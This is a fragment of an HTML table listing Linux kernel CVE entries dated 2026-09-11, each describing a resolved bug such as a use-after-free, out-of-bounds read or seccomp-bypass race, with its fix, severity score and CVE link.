&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath6kl: clamp assoc request/response lengths before subtracting IE offsets ath6kl_cfg80211_connect_event() subtracts fixed IE offsets from assoc_req_len (-= 4) and assoc_resp_len (-= 6), both u8, with no lower bound. The aggregate check recently added to ath6kl_wmi_connect_event_rx() bounds the declared lengths from above (their sum must fit the received event), but an assoc request/response shorter than its fixed offset still underflows here: the u8 wraps to ~250, and cfg80211_connect_result() / cfg80211_roamed() then treat that wrapped value as the IE length and copy that many bytes out of the small assoc_info buffer to user space via nl80211, disclosing adjacent slab memory. Clamp both lengths to their offsets before subtracting. Found by 0sec (https://0sec.ai) using automated source analysis; the missing lower bound is evident from source. Compile-tested.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89524&quot; target=&quot;_blank&quot;&gt;CVE-2026-89524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Clear sc_cm_id when ADDR_CHANGE replacement fails When svc_rdma_listen_handler() handles RDMA_CM_EVENT_ADDR_CHANGE, it creates a replacement listener cm_id and returns 1, telling the CM core to destroy the old one. If the replacement allocation fails, sc_cm_id still points at the old cm_id that the CM core is about to destroy. Any subsequent dereference of sc_cm_id -- such as svc_rdma_detach()&#039;s rdma_disconnect() call -- is a use-after-free. NULL sc_cm_id on the failure path and guard svc_rdma_detach()&#039;s rdma_disconnect() call against NULL so that the listener can be torn down safely when the server shuts down.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89534&quot; target=&quot;_blank&quot;&gt;CVE-2026-89534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Reorder rpcrdma_rn_unregister before rdma_destroy_id svc_rdma_free() caches rdma-&amp;gt;sc_cm_id-&amp;gt;device before teardown, then calls rdma_destroy_id(sc_cm_id) which frees the cm_id. rpcrdma_rn_unregister() follows, but between those two calls the transport&#039;s sc_rn entry is still installed in the device&#039;s rd_xa. A concurrent ib_unregister_device walk can dispatch svc_rdma_xprt_done() against the now-freed sc_cm_id. Move rpcrdma_rn_unregister() before rdma_destroy_id() so the transport&#039;s notification entry is removed from the xarray before the cm_id it references is destroyed. Also guard the sc_cm_id dereference with a NULL check: the following patches introduce paths that reach svc_rdma_free() with sc_cm_id == NULL (listener create failure, ADDR_CHANGE replacement failure).&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89535&quot; target=&quot;_blank&quot;&gt;CVE-2026-89535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: Check svc pool percpu counter allocation __svc_create() initializes three per-pool percpu_counter stats and ignores every return value. On SMP, percpu_counter_init() fails when __alloc_percpu_gfp() cannot satisfy the allocation, leaving the failed counter with fbc-&amp;gt;counters == NULL and its embedded raw_spinlock_t, list_head, and count never initialized. __svc_create() returns the half-constructed svc_serv to nfsd, lockd, or the NFS callback service anyway. Once that service is live, the hot-path increments in svc_xprt_enqueue(), svc_handle_xprt(), and svc_pool_wake_idle_thread() reach a counter whose backing pointer is NULL. The pointer is a per-cpu offset, so the access does not fault: it resolves to offset zero of the current CPU&#039;s per-cpu area and silently corrupts whatever variable lives there. A /proc/fs/nfsd/pool_stats read walks the same NULL per-cpu storage and returns garbage, and on CONFIG_DEBUG_SPINLOCK or lockdep it splats on the never-initialized lock. Creating the broken service requires a percpu allocation failure during RPC server startup, so it is reachable only by a local administrator under memory pressure or fault injection; a remote peer cannot induce the bad state on its own. Check each percpu_counter_init() return value in __svc_create() and fail when an allocation fails, unwinding the counters already set up in the current pool and in every pool initialized before it. A discrete percpu_counter_destroy() per counter at teardown frees each per-cpu allocation exactly once.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89547&quot; target=&quot;_blank&quot;&gt;CVE-2026-89547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mptcp: fix uninitialized local_id in syncookie MP_JOIN reconstruction mptcp_token_join_cookie_init_state() restores remote_nonce, local_nonce, backup, join_id, token and msk from the saved cookie entry when rebuilding the request socket for a MP_JOIN 4th-ACK handled under SYN cookies, but it does not restore local_id, even though the SYN path saved it. subflow_ulp_clone() then reads that uninitialized field and stores it as the joined subflow&#039;s address-ID. Because the request-sock slab is SLAB_TYPESAFE_BY_RCU and not zeroed on allocation, the value is the stale byte of a previously freed request socket, which an off-path peer can influence by sending concurrent MP_JOIN SYNs. This corrupts the path manager&#039;s id-based subflow bookkeeping for the connection. Restore subflow_req-&amp;gt;local_id from the cookie entry, as done for the other fields.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89554&quot; target=&quot;_blank&quot;&gt;CVE-2026-89554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: landlock: Require LANDLOCK_ACCESS_FS_MAKE_REG for whiteout creation Whiteout objects are used in the upper layer of an OverlayFS to indicate that the file with this name does not exist in the unified view, even if it is present in one of the lower layer file systems. For the userspace implementations of OverlayFS (fuse-overlayfs), whiteout objects can be created from userspace as well: * mknod(2) with S_IFCHR and makedev(0, 0) * renameat2(2) with RENAME_WHITEOUT, creating the whiteout in the old place of the moved file. This commit guards whiteout creation in both of these cases with LANDLOCK_ACCESS_FS_MAKE_REG. Whiteout objects are *not* considered character devices and are not bound to a driver. LANDLOCK_ACCESS_FS_MAKE_REG describes the same permission class as a whiteout object: creating one is the only S_IFCHR creation that the VFS exempts from CAP_MKNOD, so it is as unprivileged as creating a regular file, while LANDLOCK_ACCESS_FS_MAKE_CHAR and LANDLOCK_ACCESS_FS_MAKE_BLOCK keep meaning the creation of devices that expose a kernel interface [1]. For the mknod(2) case, introduce a Landlock erratum. The creation of whiteout objects through mknod(2) was previously guarded using LANDLOCK_ACCESS_FS_MAKE_CHAR, and it is now guarded using LANDLOCK_ACCESS_FS_MAKE_REG. For the renameat2(2) case, fix a bug: Before this commit, renameat2(2) with RENAME_WHITEOUT would create a directory entry even when all LANDLOCK_ACCESS_FS_MAKE_* rights were denied. This does not affect normal renames within layered OverlayFS mounts: When doing a regular rename() on a mounted fuse-overlayfs, it is the fuse-overlayfs daemon that exercises renameat2() with RENAME_WHITEOUT, and only the Landlock domain of that daemon is checked there. Depends-on: 49c9e09d9610 (&quot;landlock: Fix handling of disconnected directories&quot;) Depends-on: fe72ce6710cb (&quot;landlock: Add errata documentation section&quot;) [mic: Record why LANDLOCK_ACCESS_FS_MAKE_REG is the matching right, and add link(2) to the user doc]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89560&quot; target=&quot;_blank&quot;&gt;CVE-2026-89560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: RFCOMM: serialize security confirmation handling rfcomm_security_cfm() looks up a session on session_list and then walks its DLC list without holding rfcomm_mutex. Since RFCOMM session teardown uses rfcomm_mutex, krfcommd can close and free the same session and DLCs concurrently: hci_rx_work krfcommd ----------- --------- rfcomm_session_get() rfcomm_lock() rfcomm_session_close() rfcomm_dlc_unlink() rfcomm_session_del() kfree(s) rfcomm_unlock() walk s-&amp;gt;dlcs The callback can then read a freed session list head and touch freed DLCs while updating their flags or timers. Serialize the session lookup and DLC traversal in rfcomm_security_cfm() with rfcomm_mutex. This matches the existing RFCOMM session lifetime rules and prevents concurrent rfcomm_session_del() / rfcomm_dlc_unlink() from tearing the objects down while the callback is using them. KASAN reported: BUG: KASAN: slab-use-after-free in rfcomm_security_cfm+0x41c/0x440 Read of size 8 at addr ffff888111fb3960 by task kworker/u17:1/89 Workqueue: hci0 hci_rx_work Call Trace: rfcomm_security_cfm+0x41c/0x440 hci_encrypt_cfm+0x139/0x590 hci_encrypt_change_evt+0x37b/0xc40 hci_event_packet+0x71b/0xb20 hci_rx_work+0x293/0x730 Allocated by task 69: rfcomm_session_add+0x9e/0x2f0 rfcomm_run+0x44b/0x41e0 Freed by task 69: kfree+0x131/0x3c0 rfcomm_session_del+0x188/0x220 rfcomm_run+0x1985/0x41e0&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89569&quot; target=&quot;_blank&quot;&gt;CVE-2026-89569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: eir: Fix OOB read in eir_get_service_data() eir_get_service_data() walks the advertising data for a Service Data field with a matching UUID. On a mismatch it advances: eir += dlen; eir_len -= dlen; eir_get_data() reports dlen as the field&#039;s data length, but the field spans dlen + 2 bytes once its length and type bytes count, and more when non-Service-Data fields were skipped to reach it. The pointer lands correctly on the next field. eir_len does not, and the shortfall compounds across fields until eir_get_data() reads the length and type bytes of a &quot;field&quot; past the end of the buffer. For an ISO broadcast sink that buffer is hcon-&amp;gt;le_per_adv_data[], filled from the periodic advertising reports of a remote broadcaster. A PA payload packed with mismatching Service Data fields walks off the array into the rest of struct hci_conn. A drifted field that matches the BAA UUID puts those bytes in iso_pi(sk)-&amp;gt;base, where user space reads them back with getsockopt(BT_ISO_BASE). Recompute eir_len from the end of the buffer each iteration.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89583&quot; target=&quot;_blank&quot;&gt;CVE-2026-89583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ata: libata-scsi: fix DSM TRIM for sector sizes larger than 2048 bytes ata_scsi_write_same_xlat() translates a SCSI WRITE SAME command with the UNMAP bit set into an ATA DATA SET MANAGEMENT TRIM command. The TRIM descriptor is built by ata_format_dsm_trim_descr() into the 2048-byte ata_scsi_rbuf staging buffer, and the number of bytes copied is compared against the logical sector size by the caller: size = ata_format_dsm_trim_descr(scmd, trmax, block, n_block); if (size != len) /* len == sdp-&amp;gt;sector_size */ goto invalid_param_len; ata_format_dsm_trim_descr() clamps the copy length to ATA_SCSI_RBUF_SIZE (2048). On a device whose logical sector size exceeds that (e.g. a 4Kn device, where sector_size == 4096) the function can never return more than 2048, while the caller expects it to return sector_size. The comparison therefore always fails, so every TRIM is rejected with &quot;Parameter list length error&quot; and WARN_ON() splats on each attempt. TRIM / discard is thus completely broken on such devices. The descriptor was incorrectly sized from the logical sector size. A DSM TRIM payload is a list of 512-byte pages, each holding up to ATA_MAX_TRIM_RNUM (64) LBA Range Entries, and is independent of the logical sector size. The Block Limits VPD page already advertises a single such page as the maximum WRITE SAME length (65535 * ATA_MAX_TRIM_RNUM logical blocks), so the block layer never sends a request that needs more than one page. Emit exactly one 512-byte page, independent of the logical sector size, and transfer only that page (COUNT == 1). For a 512-byte-sector device this is unchanged; devices with larger logical sectors now work instead of failing every TRIM.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89586&quot; target=&quot;_blank&quot;&gt;CVE-2026-89586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPI: APEI: GHES: fix ARM section length accounting after header In ghes_handle_arm_hw_error(), after skipping the cper_sec_proc_arm header with (err + 1), the remaining length was reduced by sizeof(err) (pointer size) instead of sizeof(*err) (structure size). That overestimates the bytes left for cper_arm_err_info records and can let the parser read past the CPER section when err_info_num is large enough relative to error_data_length. Use sizeof(*err) so the length accounting matches the pointer advance and the earlier sizeof(*err) size check.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89588&quot; target=&quot;_blank&quot;&gt;CVE-2026-89588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fbdev: omapfb: panel-dsi-cm: initialize lock before registering display dsicm_probe() registers the display before initializing ddata-&amp;gt;lock. Once omapdss_register_display() publishes the display, another consumer can reach a dsicm callback that takes this mutex while it is still uninitialized. Initialize the mutex before registering the display so the published callbacks always see a valid lock.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89599&quot; target=&quot;_blank&quot;&gt;CVE-2026-89599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext2: Fix lost inode updates for IS_SYNC inodes ext2_setsize() and ext2_xattr_set2() had a construct like: if (IS_SYNC(inode)) { sync_inode_metadata(inode, 1); } else { mark_inode_dirty(inode); } which leads to lost inode updates for IS_SYNC inodes because sync_inode_metadata() does anything only if the inode is already dirty and hence inode updates may be simply lost. Fix the problem by unconditionally marking the inode dirty and *then* call sync_inode_metadata().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89601&quot; target=&quot;_blank&quot;&gt;CVE-2026-89601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: entry: Fix seccomp bypass after ptrace with TSYNC Sashiko review pointed out the following issue. If a thread is stopped in syscall_trace_enter() for ptrace, another thread can install a seccomp filter with SECCOMP_FILTER_FLAG_TSYNC (e.g., via seccomp_attach_filter()). This will successfully set SYSCALL_WORK_SECCOMP on the stopped thread, but syscall_trace_enter() evaluates a cached &#039;work&#039; variable sampled on entry. Consequently, the subsequent check for SYSCALL_WORK_SECCOMP misses the newly assigned flag, and the filter is silently bypassed. This race condition could allow an unprivileged process to execute a prohibited system call (e.g., execve) that the newly installed filter was intended to block, especially since the tracer might have modified the system call number during the ptrace stop. Fix this by re-reading the syscall_work flags after ptrace handling, so that any new SYSCALL_WORK_SECCOMP flag set by another thread via TSYNC during the ptrace stop is observed before the subsequent seccomp check.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89603&quot; target=&quot;_blank&quot;&gt;CVE-2026-89603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: bound page_lcns[] index by the log record The copy_lcns loop and the redo shorten loop index page_lcns[] at j + i, where i runs up to the log record&#039;s lcns_follow. That count is checked only against the record&#039;s own length, not the target entry, so check_dp_table() (which validates the entry&#039;s lcns_follow) does not cover it: the copy_lcns entry may even be freshly allocated after that check, and find_dp() bounds j but not i. A crafted record thus overflows page_lcns[] of an otherwise valid entry. Add dp_range_ok() and reject, before each loop, any record whose run does not fit the entry. These are the only two page_lcns[] accesses indexed by the record rather than the entry, so together with the entry validation every access is now bounded. [almaz.alexandrovich@paragon-software.com: original patch contained changes to the problem already handled, applied partly]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89615&quot; target=&quot;_blank&quot;&gt;CVE-2026-89615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: sensor: custom: Fix field sysfs group cleanup on failure hid_sensor_custom_add_attributes() creates one sysfs group for each custom sensor field. If sysfs_create_group() fails after some groups have already been created, the function returns the error without removing the previously created groups. Add a local unwind path to remove the groups that were already created. With enable_sensor exposed only after the field attributes are ready, this path can free sensor_inst-&amp;gt;fields without leaving enable_sensor able to access pointers into that array.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89626&quot; target=&quot;_blank&quot;&gt;CVE-2026-89626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: fix use-before-check of ReparseDataLength in reparse_buf_ptr() reparse_buf_ptr() reads buf-&amp;gt;ReparseDataLength before checking that count covers the full fixed header: buf = (struct reparse_data_buffer *)((u8 *)io + off); len = sizeof(*buf); /* 8 bytes */ rdlen = le16_to_cpu(buf-&amp;gt;ReparseDataLength); /* offset 4, 2 bytes */ if (count &amp;lt; len || count &amp;lt; rdlen + len) /* check comes after */ struct reparse_data_buffer has ReparseDataLength at offset 4. If a server returns OutputCount &amp;lt; 6, the read at offset 4-5 reaches past the end of the received data. The off+count bounds against iov_len were already validated, but that does not protect against count being smaller than sizeof(*buf). Split the check: verify count &amp;gt;= sizeof(*buf) before reading ReparseDataLength, then verify count covers the data region.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89632&quot; target=&quot;_blank&quot;&gt;CVE-2026-89632&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: revoke copy-notify stateids before dropping their reference Copy-notify stateids live in the s2s_cp_stateids IDR and on their parent stid&#039;s sc_cp_list, pinned by a single membership reference. _free_cpntf_state_locked() only unlinks an entry once its refcount reaches zero, so any revoke path that runs while a concurrent find_cpntf_state()/manage_cpntf_state() holder has elevated cs_count drops the reference without unlinking, leaving the entry discoverable with its membership reference already consumed. A second revoke or a laundromat tick then frees it while the reader still holds the pointer -- a KASAN-detectable use-after-free at the reader&#039;s nfs4_put_cpntf_state(). This affected all three revoke paths: - The parent-stid drain (nfs4_free_cpntf_statelist()) repeatedly called _free_cpntf_state_locked() on the first list entry; a holder that had bumped cs_count made it return early, so the next iteration re-decremented and burned the holder&#039;s reference. - OFFLOAD_CANCEL (manage_cpntf_state()) and laundromat expiry likewise used _free_cpntf_state_locked() and could drop 2-&amp;gt;1 without unlinking. Add revoke_cpntf_state_locked(), which unhashes the entry from the IDR and sc_cp_list first (deferring the final free to any holder), and use it from all three revoke paths. The drain now walks with list_for_each_entry_safe() and revokes each entry unconditionally, so it terminates in one pass per entry regardless of cs_count. The unhash is gated on !list_empty(&amp;amp;cps-&amp;gt;cp_list); the idr_remove() gate matters because idr_alloc_cyclic() may have recycled the so_id by then. Keep _free_cpntf_state_locked() for the reference-holder put path only, where a concurrent revoke may already have unlinked the entry (its list_del_init() then a no-op).&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89663&quot; target=&quot;_blank&quot;&gt;CVE-2026-89663&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: reject out-of-range useconds in NFSv2 SETATTR/CREATE The NFSv2 sattr decoder converts the wire useconds to nanoseconds in svcxdr_decode_sattr(): iap-&amp;gt;ia_atime.tv_nsec = tmp2 * NSEC_PER_USEC; tmp2 is a u32 and NSEC_PER_USEC is 1000, so the product is computed in unsigned long. On ILP32 that is 32 bits, and an out-of-range useconds value such as 4294968 wraps to tv_nsec == 704. The corruption therefore happens during decode, before any proc function can inspect the value, and a later range check on tv_nsec would see an in-range result and accept it. Rejecting in the decoder yields an RPC GARBAGE_ARGS reply. NFSv2 defines no NFSERR_INVAL, so there is no NFS-level status to return for a malformed time argument, and the check cannot move to the proc function the way the v3/v4 nsec range checks do. Guard the raw useconds before the multiplication and reject values greater than 1000000. useconds == 1000000 is kept: it is the Sun convention for &quot;set to the current server time&quot;, and the in-tree Linux NFSv2 client emits it in both the atime and the mtime field for a plain touch / utimes(file, NULL) (see encode_sattr() and xdr_encode_current_server_time() in fs/nfs/nfs2xdr.c). Rejecting 1000000 would turn that common operation into a hard decode failure for both SETATTR and CREATE. 1000000 * NSEC_PER_USEC is 10^9, which does not wrap on ILP32, so the Sun convention value passes through safely. Only genuinely out-of-range values (&amp;gt; 1000000) are rejected. The atime and mtime guards are therefore symmetric. The decoder only applied the Sun convention in the mtime block, which clears ATTR_ATIME_SET|ATTR_MTIME_SET when mtime useconds == 1000000. If a client puts 1000000 in the atime field but not in the mtime field, the atime block stored an out-of-range tv_nsec (10^9) and left ATTR_ATIME_SET set, so the bogus value reached the filesystem. Apply the convention in the atime block as well, clearing ATTR_ATIME_SET so the server uses its current time and ignores the value. Only ATTR_ATIME_SET is cleared there. The mtime block keeps its existing behavior, where 1000000 means &quot;set both atime and mtime to now&quot;. [ cel: various tweaks, addenda, and clean-ups ]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89665&quot; target=&quot;_blank&quot;&gt;CVE-2026-89665&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: close shrinker/GC/fsnotify vs per-net shutdown race in filecache The shrinker, GC worker, and fsnotify/lease callbacks can unhash an nfsd_file from the rhashtable and then call nfsd_file_dispose_list_delayed() to move it to the per-net dispose list. If nfsd_file_cache_shutdown_net() runs concurrently, its rhashtable walk misses the already-unhashed file, and its drain of the per-net dispose list can run before the file has been queued. The file then sits on the per-net list with no thread to drain it, leaking both the file and its associated state. The GC worker and shrinker already hold nfsd_gc_lock while walking the LRU, but in the original code they release it before calling nfsd_file_dispose_list_delayed(). The fsnotify/lease path (nfsd_file_close_inode) has no synchronization at all. Fix this by: 1. Widening nfsd_gc_lock in both nfsd_file_gc() and nfsd_file_lru_scan() to cover the nfsd_file_dispose_list_delayed() call. 2. Wrapping nfsd_file_close_inode() in nfsd_gc_lock so that all three callers of nfsd_file_dispose_list_delayed() hold the lock. 3. Adding a spin_lock/unlock(nfsd_gc_lock) barrier in nfsd_file_cache_shutdown_net() after the purge, so that any in-progress disposal has fully completed before the per-net list is drained. All operations inside the lock are non-sleeping (rhashtable lookups, atomic bit/refcount ops, list moves, svc_wake_up), so the spinlock is appropriate.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89667&quot; target=&quot;_blank&quot;&gt;CVE-2026-89667&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix fcache_disposal UAF by inlining dispose state into nfsd_net nfsd_file_dispose_list_delayed() defers fput() to nfsd service threads via a per-net freeme queue, preventing the shrinker and GC worker from bearing the cost of closing files (see ffb402596147). However, the queue lives in a separately-allocated struct nfsd_fcache_disposal that is freed by nfsd_free_fcache_disposal_net() during per-net teardown. The global shrinker, laundrette, and fsnotify callbacks can still be inside nfsd_file_dispose_list_delayed() dereferencing that pointer, causing a use-after-free. Inline the spinlock and freeme list directly into struct nfsd_net (as fcache_dispose_lock and fcache_dispose_list), eliminating the separately allocated struct nfsd_fcache_disposal entirely. These fields now have the same lifetime as the net namespace itself, so there is no dangling pointer to chase. nfsd_file_cache_start_net() now just initializes the inline fields and cannot fail due to allocation. nfsd_file_cache_shutdown_net() drains the inline list directly instead of freeing a separate struct. The alloc/free helpers are removed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89682&quot; target=&quot;_blank&quot;&gt;CVE-2026-89682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: lockd, nfsd: RCU-protect nlmsvc_ops dispatch nlmsvc_ops is published by nfsd_lockd_init() and cleared by nfsd_lockd_shutdown() with plain stores, while lockd dereferences it unguarded from dispatch sites in fs/lockd/svcsubs.c. The pointer targets nfsd&#039;s .rodata and the fopen/fclose callbacks live in nfsd&#039;s .text, so a stale load after rmmod nfsd results in either a NULL deref or a module-text use-after-free. Declare nlmsvc_ops as __rcu, publish via rcu_assign_pointer(), clear via RCU_INIT_POINTER() + synchronize_rcu(). Add a struct module *owner field to nlmsvc_binding and pin the module across indirect calls with try_module_get/module_put. When the binding is torn down, fall back to fput() to avoid leaking struct file references.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89709&quot; target=&quot;_blank&quot;&gt;CVE-2026-89709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: remove flawed WARN_ON_ONCE from nfsd_mode_check The header for commit e75b23f9e323 (&quot;nfsd: check d_can_lookup in fh_verify of directories&quot;) details the assumption that justified adding the WARN_ON_ONCE to nfsd_mode_check(), that assumption is invalid (in the case of NFS reexport). When NFSD exports an NFS filesystem it is very possible for nfsd_mode_check() to encounter a @dentry that doesn&#039;t have i_op-&amp;gt;lookup (see nfs_fhget()&#039;s NFS_ATTR_FATTR_MOUNTPOINT and NFS_ATTR_FATTR_V4_REFERRAL handling, and d_flags_for_inode()). So remove nfsd_mode_check()&#039;s WARN_ON_ONCE(). The nfserr_notdir return on that branch must stay. It guards the subsequent lookup_one_unlocked() -&amp;gt; __lookup_slow() path, which calls inode-&amp;gt;i_op-&amp;gt;lookup() with no NULL check, so returning nfserr_notdir is what keeps a client LOOKUP into such a @dentry from dereferencing a NULL method pointer.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
